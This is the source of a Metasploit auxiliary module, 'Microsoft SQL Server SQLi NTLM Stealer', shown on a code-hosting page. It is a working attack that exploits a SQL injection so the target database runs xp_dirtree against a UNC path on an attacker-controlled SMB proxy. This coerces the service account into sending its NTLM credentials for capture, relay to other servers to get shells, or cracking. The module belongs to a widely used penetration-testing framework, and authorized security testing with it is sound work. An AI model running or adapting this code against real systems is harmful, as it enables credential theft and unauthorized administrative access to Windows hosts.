Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::MSSQL_SQLI78def initialize(info = {})9super(update_info(info,10'Name' => 'Microsoft SQL Server SQLi NTLM Stealer',11'Description' => %q{12This module can be used to help capture or relay the LM/NTLM credentials of the13account running the remote SQL Server service. The module will use the SQL14injection from GET_PATH to connect to the target SQL Server instance and execute15the native "xp_dirtree" or stored procedure. The stored procedures will then16force the service account to authenticate to the system defined in the SMBProxy17option. In order for the attack to be successful, the SMB capture or relay module18must be running on the system defined as the SMBProxy. The database account used to19connect to the database should only require the "PUBLIC" role to execute.20Successful execution of this attack usually results in local administrative access21to the Windows system. Specifically, this works great for relaying credentials22between two SQL Servers using a shared service account to get shells. However, if23the relay fails, then the LM hash can be reversed using the Halflm rainbow tables24and john the ripper.25},26'Author' =>27[28'nullbind <scott.sutherland[at]netspi.com>',29'Antti <antti.rantasaari[at]netspi.com>'30],31'License' => MSF_LICENSE,32'References' => [[ 'URL', 'https://en.wikipedia.org/wiki/SMBRelay' ]]33))3435register_options(36[37OptString.new('SMBPROXY', [ true, 'IP of SMB proxy or sniffer.', '0.0.0.0']),38])39end4041def run4243# Reminder44print_status("DONT FORGET to run a SMB capture or relay module!")4546# Generate random file name47rand_filename = Rex::Text.rand_text_alpha(8, bad='')4849# Setup query - double escaping backslashes50sql = "exec master..xp_dirtree '\\\\\\\\#{datastore['SMBPROXY']}\\#{rand_filename}'"51print_status("Attempting to force backend DB to authenticate to the #{datastore['SMBPROXY']}")5253# Execute query to force authentication from backend database to smbproxy54mssql_query(sql)55end56end575859